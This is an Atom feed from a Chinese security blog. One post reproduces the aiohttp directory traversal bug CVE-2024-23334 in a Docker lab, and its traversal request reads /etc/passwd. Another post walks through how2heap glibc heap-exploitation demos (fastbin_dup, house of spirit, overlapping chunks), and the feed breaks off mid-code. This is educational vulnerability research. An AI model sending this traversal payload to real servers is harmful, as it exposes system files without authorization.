<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <author>
    <name>John Doe</name>
  </author>
  <generator uri="https://hexo.io/">Hexo</generator>
  <id>http://example.com/</id>
  <link href="http://example.com/" rel="alternate"/>
  <link href="http://example.com/atom.xml" rel="self"/>
  <rights>All rights reserved 2026, John Doe</rights>
  <title>Hexo</title>
  <updated>2026-04-07T13:39:04.711Z</updated>
  <entry>
    <author>
      <name>John Doe</name>
    </author>
    <category term="漏洞复现" scheme="http://example.com/categories/%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/"/>
    <category term="aiohttp" scheme="http://example.com/tags/aiohttp/"/>
    <category term="python" scheme="http://example.com/tags/python/"/>
    <content>
      <![CDATA[<p>aiohttp 是一个基于 asyncio 和 Python 的异步 HTTP 客户端&#x2F;服务器框架。</p><span id="more"></span><p>在将 aiohttp 用作 Web 服务器并配置静态路由时，必须指定静态文件的根路径。此外，可以使用 <code>follow_symlinks</code> 选项来决定是否跟随指向静态根目录之外的符号链接。当 <code>follow_symlinks</code> 设置为 <code>True</code> 时，aiohttp 不会验证所读取的文件是否位于静态根目录之内。这可能导致目录遍历漏洞，从而使攻击者可以未经授权访问系统上的任意文件，即使系统中没有实际存在符号链接。该漏洞影响的版本包括 3.9.1 及以下。</p><p>参考链接：</p><ul><li><p><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-23334">NVD - CVE-2024-23334</a></p></li><li><p><a href="ttps://www.venustech.com.cn/new_type/aqldfx/20240401/27962.html">aiohttp 目录穿越漏洞（CVE-2024-23334 分析）</a></p></li></ul><h2 id="环境搭建"><a href="#环境搭建" class="headerlink" title="环境搭建"></a>环境搭建</h2><p>目录结构如下</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">--CVE-2024-23334----aiohttpServer.py</span><br><span class="line">----docker-compose.py</span><br><span class="line">                ----Dockerfile</span><br><span class="line">                ----requirements.txt</span><br><span class="line">                ----static</span><br></pre></td></tr></table></figure><p>首先在CVE-2024-23334下，新建目录static</p><p>搭建Web服务的脚本 <code>aiohttpServer.py</code></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"> <span class="keyword">from</span> aiohttp <span class="keyword">import</span> web                        </span><br><span class="line"><span class="keyword">async</span> <span class="keyword">def</span> <span class="title function_">index</span>(<span class="params">request</span>):             </span><br><span class="line">    <span class="keyword">return</span> web.Response(text=<span class="string">&quot;Hello, World!&quot;</span>)             </span><br><span class="line">             </span><br><span class="line">app = web.Application()             </span><br><span class="line">app.router.add_routes([             </span><br><span class="line">    web.static(<span class="string">&quot;/static&quot;</span>, <span class="string">&quot;static/&quot;</span>, follow_symlinks=<span class="literal">True</span>),             </span><br><span class="line">])             </span><br><span class="line">app.router.add_get(<span class="string">&#x27;/&#x27;</span>, index)             </span><br><span class="line">             </span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&#x27;__main__&#x27;</span>:             </span><br><span class="line">    web.run_app(app, host=<span class="string">&#x27;0.0.0.0&#x27;</span>, port=<span class="number">8080</span>)   </span><br><span class="line"></span><br></pre></td></tr></table></figure><p><code>Dockerfile</code> 启动aiohttp服务</p><figure class="highlight dockerfile"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">FROM</span> python:<span class="number">3.11</span>-slim</span><br><span class="line"></span><br><span class="line"><span class="keyword">LABEL</span><span class="language-bash"> maintainer=<span class="string">&quot;hx294 &lt;hx294@qq.com&gt;&quot;</span></span></span><br><span class="line"></span><br><span class="line"><span class="keyword">WORKDIR</span><span class="language-bash"> /app</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">COPY</span><span class="language-bash"> static requirements.txt aiohttpServer.py /app/</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">RUN</span><span class="language-bash"> pip install --no-cache-dir -r requirements.txt</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">EXPOSE</span> <span class="number">8080</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">CMD</span><span class="language-bash"> [<span class="string">&quot;python&quot;</span>, <span class="string">&quot;aiohttpServer.py&quot;</span>]</span></span><br></pre></td></tr></table></figure><p><code>docker-compose.yml</code></p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">services:</span></span><br><span class="line">  <span class="attr">aiohttp-app:</span></span><br><span class="line">    <span class="attr">build:</span> <span class="string">.</span></span><br><span class="line">    <span class="attr">container_name:</span> <span class="string">aiohttp</span></span><br><span class="line">    <span class="attr">ports:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">&quot;8080:8080&quot;</span></span><br><span class="line">    <span class="attr">volumes:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">./static:/app/static:ro</span></span><br><span class="line">    <span class="attr">restart:</span> <span class="string">unless-stopped</span></span><br></pre></td></tr></table></figure><p><code>requirements.txt</code></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">aiohttp==3.9.1</span><br></pre></td></tr></table></figure><p>执行如下命令启动存在漏洞的 aiothttp 3.9.1 服务器：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">docker compose up -d</span><br></pre></td></tr></table></figure><p>服务启动后，通过 <code>http://your-ip:8080/</code> 即可访问网页。</p><h2 id="漏洞复现"><a href="#漏洞复现" class="headerlink" title="漏洞复现"></a>漏洞复现</h2><p>利用此漏洞，可以构造恶意路径，从而访问服务器中任意文件。</p><p>例如，使用yakit构造如下请求来查看系统文件<code>/etc/passwd</code>:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">GET /static/../../../../../etc/passwd HTTP/1.1</span><br><span class="line">Host: your-ip:8080</span><br><span class="line">Content-Length: 2</span><br></pre></td></tr></table></figure><p><img src="https://cdn.jsdelivr.net/gh/hx294/blog-images/img/20260407200919140.png" alt="image-20250705155349598"></p><p>如果操作成功，即可以看到<code>/etc/passwd</code>的内容，证明漏洞存在。</p>]]>
    </content>
    <id>http://example.com/2025/07/05/aiohttp%E7%9B%AE%E5%BD%95%E9%81%8D%E5%8E%86%E6%BC%8F%E6%B4%9E/</id>
    <link href="http://example.com/2025/07/05/aiohttp%E7%9B%AE%E5%BD%95%E9%81%8D%E5%8E%86%E6%BC%8F%E6%B4%9E/"/>
    <published>2025-07-05T00:00:00.000Z</published>
    <summary>
      <![CDATA[<p>aiohttp 是一个基于 asyncio 和 Python 的异步 HTTP 客户端&#x2F;服务器框架。</p>]]>
    </summary>
    <title>aiohttp 目录遍历漏洞 （CVE-2024-23334）</title>
    <updated>2026-04-07T13:39:04.711Z</updated>
  </entry>
  <entry>
    <author>
      <name>John Doe</name>
    </author>
    <category term="heap" scheme="http://example.com/categories/heap/"/>
    <category term="pwn" scheme="http://example.com/tags/pwn/"/>
    <content>
      <![CDATA[<p>对 how2heap 中的部分程序进行分析。</p><span id="more"></span><h2 id="实验环境"><a href="#实验环境" class="headerlink" title="实验环境"></a>实验环境</h2><p>操作系统：WSL2 Ubuntu 22.04</p><p>glibc版本：2.31</p><p>实验程序：fastbin_dup fastbin_dup_into_stack unsorted_bin_attack tcache_dup tcache_poisoning</p><p>实验目标：基础结构理解 + 简单利用</p><h2 id="fastbin-dup"><a href="#fastbin-dup" class="headerlink" title="fastbin_dup"></a>fastbin_dup</h2><h3 id="源码解析"><a href="#源码解析" class="headerlink" title="源码解析"></a>源码解析</h3><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdlib.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;assert.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">setbuf(<span class="built_in">stdout</span>, <span class="literal">NULL</span>);</span><br><span class="line"></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;This file demonstrates a simple double-free attack with fastbins.\n&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;Fill up tcache first.\n&quot;</span>);</span><br><span class="line"><span class="type">void</span> *ptrs[<span class="number">8</span>];</span><br><span class="line"><span class="keyword">for</span> (<span class="type">int</span> i=<span class="number">0</span>; i&lt;<span class="number">8</span>; i++) &#123;</span><br><span class="line">ptrs[i] = <span class="built_in">malloc</span>(<span class="number">8</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">for</span> (<span class="type">int</span> i=<span class="number">0</span>; i&lt;<span class="number">7</span>; i++) &#123;</span><br><span class="line"><span class="built_in">free</span>(ptrs[i]);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;Allocating 3 buffers.\n&quot;</span>);</span><br><span class="line"><span class="type">int</span> *a = <span class="built_in">calloc</span>(<span class="number">1</span>, <span class="number">8</span>);</span><br><span class="line"><span class="type">int</span> *b = <span class="built_in">calloc</span>(<span class="number">1</span>, <span class="number">8</span>);</span><br><span class="line"><span class="type">int</span> *c = <span class="built_in">calloc</span>(<span class="number">1</span>, <span class="number">8</span>);</span><br><span class="line"></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;1st calloc(1, 8): %p\n&quot;</span>, a);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;2nd calloc(1, 8): %p\n&quot;</span>, b);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;3rd calloc(1, 8): %p\n&quot;</span>, c);</span><br><span class="line"></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;Freeing the first one...\n&quot;</span>);</span><br><span class="line"><span class="built_in">free</span>(a);</span><br><span class="line"></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;If we free %p again, things will crash because %p is at the top of the free list.\n&quot;</span>, a, a);</span><br><span class="line"><span class="comment">// free(a);</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;So, instead, we&#x27;ll free %p.\n&quot;</span>, b);</span><br><span class="line"><span class="built_in">free</span>(b);</span><br><span class="line"></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;Now, we can free %p again, since it&#x27;s not the head of the free list.\n&quot;</span>, a);</span><br><span class="line"><span class="built_in">free</span>(a);</span><br><span class="line"></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we&#x27;ll get %p twice!\n&quot;</span>, a, b, a, a);</span><br><span class="line">a = <span class="built_in">calloc</span>(<span class="number">1</span>, <span class="number">8</span>);</span><br><span class="line">b = <span class="built_in">calloc</span>(<span class="number">1</span>, <span class="number">8</span>);</span><br><span class="line">c = <span class="built_in">calloc</span>(<span class="number">1</span>, <span class="number">8</span>);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;1st calloc(1, 8): %p\n&quot;</span>, a);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;2nd calloc(1, 8): %p\n&quot;</span>, b);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;3rd calloc(1, 8): %p\n&quot;</span>, c);</span><br><span class="line"></span><br><span class="line">assert(a == c);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><ol><li><p>首先申请8个容纳8字节的chunk(大小为0x20)，然后释放了7个，刚好填满0x20这条tcache bin。</p></li><li><p>然后申请3个0x20的chunk，在 glibc2.31 版本的 <code>__libc_calloc()</code> 中，<strong>不会尝试从 tcache 中分配 chunk</strong>。所以还是从top chunk中分配。</p></li><li><p>然后进行三次free，分别是a,b,a。之所以将两次free(a)间隔开来，是因为_int_free() 会检查前后两个chunk是否相同。此时fastbin结构是<code>fastbinsY[0x20] -&gt; a -&gt; b -&gt; a</code></p></li><li><p>fastbin采用FIFO策略。第一次calloc分配到是a，第二次分配到是b，第三次分配到是a。所以在程序中a和c存储的地址是相同的，修改a地址的内容，也会影响c，从而实现利用。</p></li></ol><h3 id="调试过程与原理解析"><a href="#调试过程与原理解析" class="headerlink" title="调试过程与原理解析"></a>调试过程与原理解析</h3><p>序号对应上面的分析步骤。</p><ol><li><p>查看 tcache bin</p><p>可以看到tcache被填了7个。</p><p><img src="https://cdn.jsdelivr.net/gh/hx294/blog-images/img/20260407200322406.png" alt="image-20250523154420310"></p><p>注意链表是通过fd区域链接在一起。</p><p>查看堆结构。</p><p><img src="https://cdn.jsdelivr.net/gh/hx294/blog-images/img/20260407200332682.png" alt="image-20250523154611883"></p><p>可以看到top chunk地址为 <code>0x555555559390</code>,可以与下面的地址进行比较。同时可以看到每个chunk大小为0x20大小。</p></li><li><p>查看top chunk地址</p></li></ol><p>   可以看到又分配了三个</p><p>   <img src="https://cdn.jsdelivr.net/gh/hx294/blog-images/img/20260407200345816.png" alt="image-20250523164009572"></p><p>   注意在tcache中，prev_inuse标记位不会被清除和fastbin一样。注意Top chunk地址从 <code>0x555555559390</code>增长到了 <code>0x5555555593f0</code>，刚好增长了0x60.</p><ol start="3"><li><p>fastbin结构变化</p><p>第一次free(a)之前。</p><p><img src="https://cdn.jsdelivr.net/gh/hx294/blog-images/img/20260407200356384.png" alt="image-20250523165704500"></p><p>第一次free(a)之后。由于tcachebin[0x20]的已经满了，只能放在fastbin中。</p><p><img src="https://cdn.jsdelivr.net/gh/hx294/blog-images/img/20260407200416360.png" alt="image-20250523170029202"></p><p>free(b) 之后。继续存入fastbin的栈顶。同时可以发现fastbin中的fd指向的是下一个chunk的prev_size的位置。</p><p><img src="https://cdn.jsdelivr.net/gh/hx294/blog-images/img/20260407200446340.png" alt="image-20250523170626036"></p><p>第二次free(a)。</p><p><img src="/%E5%AE%9E%E9%AA%8C%E7%AC%94%E8%AE%B0/image-20250523171415749.png" alt="image-20250523171415749"></p><p>可以看到<code>fastbin[0x20]-&gt;a-&gt;b-&gt;a</code></p></li><li><p>重新分配，得到两个相同地址。</p><p><img src="https://cdn.jsdelivr.net/gh/hx294/blog-images/img/20260407200453832.png" alt="image-20250523171646690"></p></li></ol><h3 id="执行过程"><a href="#执行过程" class="headerlink" title="执行过程"></a>执行过程</h3><p><img src="https://cdn.jsdelivr.net/gh/hx294/blog-images/img/20260407200459160.png" alt="image-20250523171718005"></p><h2 id="tcache-house-of-spirit"><a href="#tcache-house-of-spirit" class="headerlink" title="tcache_house_of_spirit"></a>tcache_house_of_spirit</h2><h3 id="源码解析-1"><a href="#源码解析-1" class="headerlink" title="源码解析"></a>源码解析</h3><p>解析在注释中</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdlib.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;assert.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="type">int</span> <span class="title">main</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line"><span class="built_in">setbuf</span>(stdout, <span class="literal">NULL</span>);</span><br><span class="line"></span><br><span class="line"><span class="built_in">puts</span>(<span class="string">&quot;This file demonstrates the house of spirit attack.&quot;</span>);</span><br><span class="line"><span class="built_in">puts</span>(<span class="string">&quot;This attack adds a non-heap pointer into fastbin, thus leading to (nearly) arbitrary write.&quot;</span>);</span><br><span class="line"><span class="built_in">puts</span>(<span class="string">&quot;Required primitives: known target address, ability to set up the start/end of the target memory&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="built_in">puts</span>(<span class="string">&quot;\nStep 1: Allocate 7 chunks and free them to fill up tcache&quot;</span>);</span><br><span class="line">    <span class="comment">// 1. 首先将tcache填满，以便后续利用fastbin。</span></span><br><span class="line"><span class="type">void</span> *chunks[<span class="number">7</span>];</span><br><span class="line"><span class="keyword">for</span>(<span class="type">int</span> i=<span class="number">0</span>; i&lt;<span class="number">7</span>; i++) &#123;</span><br><span class="line">chunks[i] = <span class="built_in">malloc</span>(<span class="number">0x30</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">for</span>(<span class="type">int</span> i=<span class="number">0</span>; i&lt;<span class="number">7</span>; i++) &#123;</span><br><span class="line"><span class="built_in">free</span>(chunks[i]);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="built_in">puts</span>(<span class="string">&quot;\nStep 2: Prepare the fake chunk&quot;</span>);</span><br><span class="line"><span class="comment">// This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY)</span></span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 2. 在栈上准备fakechunk，一块是0x40大小的chunk，另一个随意，只要大小在设置在2*SIZE_SZ 和 av-&gt;system_mem 之间，不过也不需要分配出来。</span></span><br><span class="line"><span class="type">long</span> fake_chunks[<span class="number">10</span>] __attribute__ ((<span class="built_in">aligned</span> (<span class="number">0x10</span>)));</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;The target fake chunk is at %p\n&quot;</span>, fake_chunks);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;It contains two chunks. The first starts at %p and the second at %p.\n&quot;</span>, &amp;fake_chunks[<span class="number">1</span>], &amp;fake_chunks[<span class="number">9</span>]);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;This chunk.size of this region has to be 16 more than the region (to accommodate the chunk data) while still falling into the fastbin category (&lt;= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n&quot;</span>);</span><br><span class="line"><span class="built_in">puts</span>(<span class="string">&quot;... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end.&quot;</span>);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;Now set the size of the chunk (%p) to 0x40 so malloc will think it is a valid chunk.\n&quot;</span>, &amp;fake_chunks[<span class="number">1</span>]);</span><br><span class="line">fake_chunks[<span class="number">1</span>] = <span class="number">0x40</span>; <span class="comment">// this is the size</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;The chunk.size of the *next* fake region has to be sane. That is &gt; 2*SIZE_SZ (&gt; 16 on x64) &amp;&amp; &lt; av-&gt;system_mem (&lt; 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\n&quot;</span>);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;Set the size of the chunk (%p) to 0x1234 so freeing the first chunk can succeed.\n&quot;</span>, &amp;fake_chunks[<span class="number">9</span>]);</span><br><span class="line">fake_chunks[<span class="number">9</span>] = <span class="number">0x1234</span>; <span class="comment">// nextsize</span></span><br><span class="line"></span><br><span class="line">   <span class="comment">// 3. 释放在第一个chunk，放置在fastbin中，然后calloc申请0x30的大小，即可获取fastbin【0x40】的chunk。</span></span><br><span class="line"><span class="built_in">puts</span>(<span class="string">&quot;\nStep 3: Free the first fake chunk&quot;</span>);</span><br><span class="line"><span class="built_in">puts</span>(<span class="string">&quot;Note that the address of the fake chunk must be 16-byte aligned.\n&quot;</span>);</span><br><span class="line"><span class="type">void</span> *victim = &amp;fake_chunks[<span class="number">2</span>];</span><br><span class="line"><span class="built_in">free</span>(victim);</span><br><span class="line"></span><br><span class="line"><span class="built_in">puts</span>(<span class="string">&quot;\nStep 4: Take out the fake chunk&quot;</span>);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;Now the next calloc will return our fake chunk at %p!\n&quot;</span>, &amp;fake_chunks[<span class="number">2</span>]);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;malloc can do the trick as well, you just need to do it for 8 times.&quot;</span>);</span><br><span class="line"><span class="type">void</span> *allocated = <span class="built_in">calloc</span>(<span class="number">1</span>, <span class="number">0x30</span>);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;malloc(0x30): %p, fake chunk: %p\n&quot;</span>, allocated, victim);</span><br><span class="line"></span><br><span class="line"><span class="built_in">assert</span>(allocated == victim);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="调试过程与原理解析-1"><a href="#调试过程与原理解析-1" class="headerlink" title="调试过程与原理解析"></a>调试过程与原理解析</h3><ol><li><p>填满tcache</p><p><img src="https://cdn.jsdelivr.net/gh/hx294/blog-images/img/20260407200506669.png" alt="image-20250524193741611"></p></li><li><p>在栈上做一个fake chunk</p><p>设置第一个chunk的size字段为0x40，下图红框是fake_chunks的存储的位置(设置了0x10对齐）。</p><p><img src="https://cdn.jsdelivr.net/gh/hx294/blog-images/img/20260407200510654.png" alt="image-20250524200203429"></p><p>设置第二个chunk的size字段。</p><p><img src="https://cdn.jsdelivr.net/gh/hx294/blog-images/img/20260407200518152.png" alt="image-20250524200553445"></p></li><li><p>伪造chunk。</p><p>回收到fastbin中。注意要使用<code>fake_chunks[2]</code>的地址，因为free接收用户数据的地址。</p><p><img src="https://cdn.jsdelivr.net/gh/hx294/blog-images/img/20260407200526720.png" alt="image-20250524201150218"></p><p>然后再使用calloc分配。可以在该地址中写入我们的数据，这个地址可以根据攻击位置设置。</p><p><img src="https://cdn.jsdelivr.net/gh/hx294/blog-images/img/20260407200537146.png" alt="image-20250524201650422"></p></li></ol><h3 id="执行过程-1"><a href="#执行过程-1" class="headerlink" title="执行过程"></a>执行过程</h3><p><img src="https://cdn.jsdelivr.net/gh/hx294/blog-images/img/20260407200542255.png" alt="image-20250524201753181"></p><p>可以看到malloc得到地址被设置成我们想要的。</p><h2 id="overlapping-chunks"><a href="#overlapping-chunks" class="headerlink" title="overlapping_chunks"></a>overlapping_chunks</h2><h3 id="源码分析"><a href="#源码分析" class="headerlink" title="源码分析"></a>源码分析</h3><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/*</span></span><br><span class="line"><span class="comment"></span></span><br><span class="line"><span class="comment"> A simple tale of overlapping chunk.</span></span><br><span class="line"><span class="comment"> This technique is taken from</span></span><br><span class="line"><span class="comment"> http://www.contextis.com/documents/120/Glibc_Adventures-The_Forgotten_Chunks.pdf</span></span><br><span class="line"><span class="comment"></span></span><br><span class="line"><span class="comment">*/</span></span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdlib.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;string.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdint.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;assert.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="type">int</span> <span class="title">main</span><span class="params">(<span class="type">int</span> argc , <span class="type">char</span>* argv[])</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line"><span class="built_in">setbuf</span>(stdout, <span class="literal">NULL</span>);</span><br><span class="line"></span><br><span class="line"><span class="type">long</span> *p1,*p2,*p3,*p4;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;\nThis is another simple chunks overlapping problem\n&quot;</span>);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;The previous technique is killed by patch: https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c\n&quot;</span></span><br><span class="line">   <span class="string">&quot;which ensures the next chunk of an unsortedbin must have prev_inuse bit unset\n&quot;</span></span><br><span class="line">   <span class="string">&quot;and the prev_size of it must match the unsortedbin&#x27;s size\n&quot;</span></span><br><span class="line">   <span class="string">&quot;This new poc uses the same primitive as the previous one. Theoretically speaking, they are the same powerful.\n\n&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;Let&#x27;s start to allocate 4 chunks on the heap\n&quot;</span>);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 1. 